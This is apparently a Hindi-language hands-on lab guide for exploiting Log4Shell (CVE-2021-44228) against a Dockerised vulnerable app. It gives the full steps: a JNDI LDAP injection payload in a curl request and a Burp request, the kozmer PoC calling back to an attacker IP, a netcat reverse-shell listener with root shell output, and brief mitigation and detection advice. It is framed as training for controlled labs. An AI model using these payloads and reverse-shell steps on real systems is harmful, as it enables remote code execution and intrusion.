
Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
Log4Shell (CVE-2021-44228) अब तक खोजी गई सबसे प्रभावशाली रिमोट कोड निष्पादन भेद्यताओं में से एक है। यह Apache Log4j 2 को प्रभावित करता है, जो एक व्यापक रूप से उपयोग किया जाने वाला Java लॉगिंग फ्रेमवर्क है, और हमलावरों को लॉग संदेशों में JNDI लुकअप का दुरुपयोग करके मनमाना कोड निष्पादित करने की अनुमति देता है।
यह मार्गदर्शिका निम्नलिखित का उपयोग करके एक पूर्ण, पुनरुत्पादनीय प्रदर्शन प्रयोगशाला प्रदान करती है:
log4j-shell-pocयह केवल नियंत्रित वातावरणों में शिक्षण, अनुसंधान, प्रशिक्षण और रक्षात्मक जागरूकता के लिए डिज़ाइन किया गया है। संरचना और शैली साथी "Shellshock" प्रयोगशाला README के समान भावना का अनुसरण करते हैं।
poc.py को JDK 1.8.0_202 का उपयोग करने के लिए कॉन्फ़िगर करेंcurl के माध्यम से Log4Shell का शोषण करेंयह प्रयोगशाला केवल एक नियंत्रित वातावरण में की जानी चाहिए जहाँ आपके पास स्पष्ट प्राधिकरण हो (आपकी अपनी प्रयोगशाला, कक्षा VM, आदि)।
Log4Shell (CVE-2021-44228) Apache Log4j 2 में एक गंभीर RCE भेद्यता है।
समस्या इसलिए उत्पन्न होती है क्योंकि कमजोर Log4j2 संस्करण हमलावर-नियंत्रित स्ट्रिंग्स जैसे:
${jndi:ldap://ATTACKER_IP:1389/a}
की व्याख्या करते हैं।
जब यह स्ट्रिंग लॉग की जाती है, Log4j:
इस प्रयोगशाला में, आप:
log4j-shell-poc का उपयोग करके Kali पर एक दुर्भावनापूर्ण LDAP + HTTP सर्वर चलाएंगे।curl और Burp Suite के माध्यम से Log4Shell पेलोड वितरित करेंगे।इस प्रयोगशाला के अंत तक, आपको सक्षम होना चाहिए:
सभी घटक आपके मौजूदा आभासी प्रयोगशाला के शीर्ष पर चलते हैं। इस लेख के लिए हम मानते हैं:
मुख्य विचार
हमलावर इंजेक्ट करता है:
${jndi:ldap://192.168.1.4:1389/a}
एक HTTP हेडर में। कमजोर ऐप इसे Log4j2 का उपयोग करके लॉग करता है → 192.168.1.4:1389 पर एक JNDI LDAP लुकअप करता है → http://192.168.1.4:8000 से एक दुर्भावनापूर्ण वर्ग डाउनलोड करता है → वर्ग को निष्पादित करता है, जो 192.168.1.4:9001 पर वापस एक रिवर्स शेल खोलता है।
Kali पर आपको चाहिए:
nc)।इस पूरे मार्गदर्शिका में हम मानते हैं कि Kali IP है:
192.168.1.4
यदि आपका IP भिन्न है, तो सभी कमांड को तदनुसार समायोजित करें।
PoC Java SE 8 Update 202 (JDK 1.8.0_202) पर निर्भर करता है क्योंकि बाद के Java संस्करण इस शोषण द्वारा उपयोग किए जाने वाले रिमोट क्लास लोडिंग व्यवहार को प्रतिबंधित करते हैं।
भले ही Kali में पहले से OpenJDK 21 (या समान) हो, फिर भी आपको 8u202 को अलग से स्थापित करना होगा।
mkdir -p ~/Log4Shell
cd ~/Log4Shell
मिरर रूट:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Linux x64 tarball (≈185 MB) डाउनलोड करें:
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # लगभग 185M होना चाहिए
/usr/bin/jdk1.8.0_202 में निकालेंsudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
--strip-components=1 विकल्प संग्रह से शीर्ष-स्तरीय निर्देशिका को हटाता है ताकि फ़ाइलें सीधे /usr/bin/jdk1.8.0_202 के अंतर्गत आ जाएँ।
/usr/bin/jdk1.8.0_202/bin/java -version
अपेक्षित आउटपुट:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
यदि आप यह देखते हैं, तो JDK 1.8.0_202 सही ढंग से स्थापित है।
Kali पर एक नए टर्मिनल में (आप ~/Log4Shell में रह सकते हैं):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
आपको इस प्रकार के लॉग दिखाई देने चाहिए:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ पर पहुंच योग्य है।त्वरित जाँच:
curl http://127.0.0.1:8080/
आप एक Whitelabel त्रुटि पृष्ठ (HTTP 400) देख सकते हैं। यह ठीक है – हमें केवल ऐप के चलने और अनुरोधों को लॉग करने की आवश्यकता है।
log4j-shell-poc क्लोन करेंएक नए टर्मिनल में:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
फ़ाइलों की पुष्टि करें:
ls
# poc.py, target/, README, आदि। Exploit.java बाद में उत्पन्न होगा।
poc.py को JDK 1.8.0_202 का उपयोग करने के लिए कॉन्फ़िगर करेंडिफ़ॉल्ट रूप से, poc.py रिपॉजिटरी के अंदर jdk1.8.0_20 नामक निर्देशिका में एक स्थानीय JDK खोजने की अपेक्षा करता है। इसके बजाय, आपने JDK 8u202 को /usr/bin/jdk1.8.0_202 में स्थापित किया है, इसलिए आपको स्क्रिप्ट को अपडेट करना होगा।
poc.py को एक संपादक में खोलेंnano poc.py
jdk1.8.0_20 खोजें (nano में: Ctrl+W, jdk1.8.0_20 टाइप करें, Enter दबाएँ)।
आपको तीन घटनाएँ मिलनी चाहिए जैसे:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
उन्हें इससे बदलें:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
सहेजें और बाहर निकलें:
Ctrl + O → EnterCtrl + Xअब PoC /usr/bin से JDK 1.8.0_202 का उपयोग करता है।
~/Log4Shell/log4j-shell-poc से:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
पैरामीटर:
--userip – आपका Kali IP (हमलावर): उदा. 192.168.1.4।--webport – एम्बेडेड HTTP सर्वर के लिए पोर्ट: 8000।--lport – वह पोर्ट जिससे पेलोड वापस जुड़ता है: 9001।यदि सब कुछ सही ढंग से कॉन्फ़िगर किया गया है, तो आपको कुछ इस प्रकार दिखना चाहिए:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
महत्वपूर्ण:
LDAP सर्वर पोर्ट 1389 पर सुन रहा है।
HTTP सर्वर पोर्ट 8000 पर सुन रहा है।
इंजेक्ट करने के लिए सटीक पेलोड मुद्रित होता है:
${jndi:ldap://192.168.1.4:1389/a}
इस टर्मिनल को चलने दें।
Kali पर एक और नया टर्मिनल खोलें:
nc -nvlp 9001
आपको देखना चाहिए:
listening on [any] 9001 ...
यह श्रोता कमजोर अनुप्रयोग से रिवर्स शेल प्राप्त करेगा।
इस बिंदु पर आपके पास होना चाहिए:
poc.py LDAP (1389) और HTTP (8000) चला रहा है।curl के माध्यम से Log4Shell का शोषण करेंपहले, एक कच्चे HTTP अनुरोध का उपयोग करके साबित करें कि शोषण काम करता है।
एक नए टर्मिनल में (या यदि उपलब्ध हो तो एक का पुन: उपयोग करें):
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
क्या होता है:
X-Api-Version हेडर को लॉग करता है।${jndi:ldap://192.168.1.4:1389/a} देखता है और एक JNDI LDAP लुकअप करता है।poc.py के अंदर) एक दुर्भावनापूर्ण Java वर्ग के संदर्भ के साथ उत्तर देता है जो आपके HTTP सर्वर पर होस्ट किया गया है।192.168.1.4:9001 पर वापस जुड़ता है और एक शेल को जन्म देता है।यदि सफल होता है, तो आपका Netcat टर्मिनल दिखाता है:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
अब आपके पास Docker कंटेनर के अंदर एक रूट शेल है।
प्रयास करें:
id
hostname
ls /
इससे बाहर निकलें:
exit
Netcat सुनने पर वापस आ जाएगा।
अब Burp Suite द्वारा मध्यस्थ ब्राउज़र का उपयोग करके उसी शोषण पथ का प्रदर्शन करें।
Kali पर Burp Suite प्रारंभ करें।
Burp में, सुनिश्चित करें कि प्रॉक्सी श्रोता 127.0.0.1:8080 पर चल रहा है।
Firefox में:
127.0.0.1, पोर्ट: 8080।127.0.0.1 के लिए कोई बहिष्करण नहीं हैं।Burp में → Proxy → Intercept, सुनिश्चित करें Intercept ON है।
Firefox में, यहाँ ब्राउज़ करें:
http://127.0.0.1:8080/
Burp इंटरसेप्ट किए गए अनुरोध को दिखाएगा, जैसे:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
Repeater में, एक X-Api-Version हेडर शामिल करने के लिए अनुरोध को संशोधित करें:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
नोट्स:
192.168.1.4 को अपने वास्तविक Kali IP से बदलें।${} वर्णों को URL-एनकोड न करें – वे बिल्कुल वैसे ही दिखाई देने चाहिए जैसे दिखाए गए हैं।Connection: close चीजों को सरल रखता है (वैकल्पिक)।poc.py और Netcat श्रोता अभी भी चल रहे हैं।आप फिर से 400 Whitelabel त्रुटि पृष्ठ देख सकते हैं – यह ठीक है।
अपना Netcat टर्मिनल जाँचें:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
आपने एक बार फिर कंटेनर पर रूट शेल प्राप्त किया है, इस बार Burp-संशोधित HTTP अनुरोध का उपयोग करके, जो एक यथार्थवादी वेब शोषण वर्कफ़्लो को दर्शाता है।
हमलावर JNDI पेलोड तैयार करता है:
${jndi:ldap://192.168.1.4:1389/a}
कमजोर अनुप्रयोग इस स्ट्रिंग को Log4j2 का उपयोग करके लॉग करता है।
Log4j2 ${jndi:...} की व्याख्या करता है और एक JNDI लुकअप करता है।
लुकअप हमलावर के LDAP सर्वर से संपर्क करने के लिए LDAP का उपयोग करता है 192.168.1.4:1389 पर।
LDAP सर्वर (marshalsec) HTTP पर होस्ट किए गए हमलावर-नियंत्रित वर्ग की ओर इशारा करते हुए एक javaNamingReference के साथ उत्तर देता है, जैसे:
http://192.168.1.4:8000/Exploit.class
पीड़ित JVM इस वर्ग को डाउनलोड और लोड करता है।
वर्ग का कंस्ट्रक्टर 192.168.1.4:9001 पर वापस एक सॉकेट खोलता है और /bin/sh को बांधता है।
हमलावर का Netcat श्रोता आने वाले कनेक्शन को प्राप्त करता है और कंटेनर के अंदर एक रिमोट रूट शेल प्राप्त करता है।
वास्तविक वातावरण में, कई रक्षात्मक परतें लागू की जानी चाहिए।
अभी भी कमजोर परिनियोजनों के लिए, जोड़ें:
-Dlog4j2.formatMsgNoLookups=true
(जहाँ लागू हो – ध्यान दें कि सभी कमजोर कॉन्फ़िगरेशन केवल इस फ़्लैग द्वारा ठीक नहीं होते हैं।)
JndiLookup हटाएँगहराई में रक्षा उपाय के रूप में:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: या ${${lower:j}${upper:ndi}: जैसे संदिग्ध पैटर्न के लिए लॉग खोजें।इस प्रयोगशाला में उपयोग किए गए कमांड का एक संक्षिप्त अवलोकन।
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py Java पथ अपडेट करें (सारांश)इससे बदलें:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # दो उपयोग
इसके साथ:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curl के माध्यम से शोषण करेंcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLog4Shell (CVE-2021-44228) शिक्षण प्रयोगशाला – दुनिया भर के छात्रों, रक्षकों और नैतिक हैकर्स के लिए देखभाल के साथ तैयार की गई।
प्यार से बनाई गई:
Haitham of Oman ❤️🇴🇲
| घटक | भूमिका / विवरण | उपकरण / सेवाएँ | उदाहरण पता |
|---|
| Kali Linux VM (हमलावर + होस्ट) | PoC शोषण, LDAP सर्वर, HTTP सर्वर, Netcat श्रोता, Burp Suite चलाता है | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (उदाहरण Kali IP) |
| कमजोर Log4j2 वेब अनुप्रयोग | लक्ष्य; Spring Boot वेब ऐप Log4Shell के लिए कमजोर | Docker छवि: ghcr.io/christophetd/log4shell-vulnerable-app | http://127.0.0.1:8080 पर उजागर |
| विवरण | छवि |
|---|
| JDK स्थापना / पर्यावरण सेटअप | ![]() |
| PoC स्क्रिप्ट चल रही (ट्रिगर पेलोड) | ![]() |
| कमजोर Tomcat वेब अनुप्रयोग चल रहा | ![]() |
| PoC शोषण स्क्रिप्ट अपडेट करना | ![]() |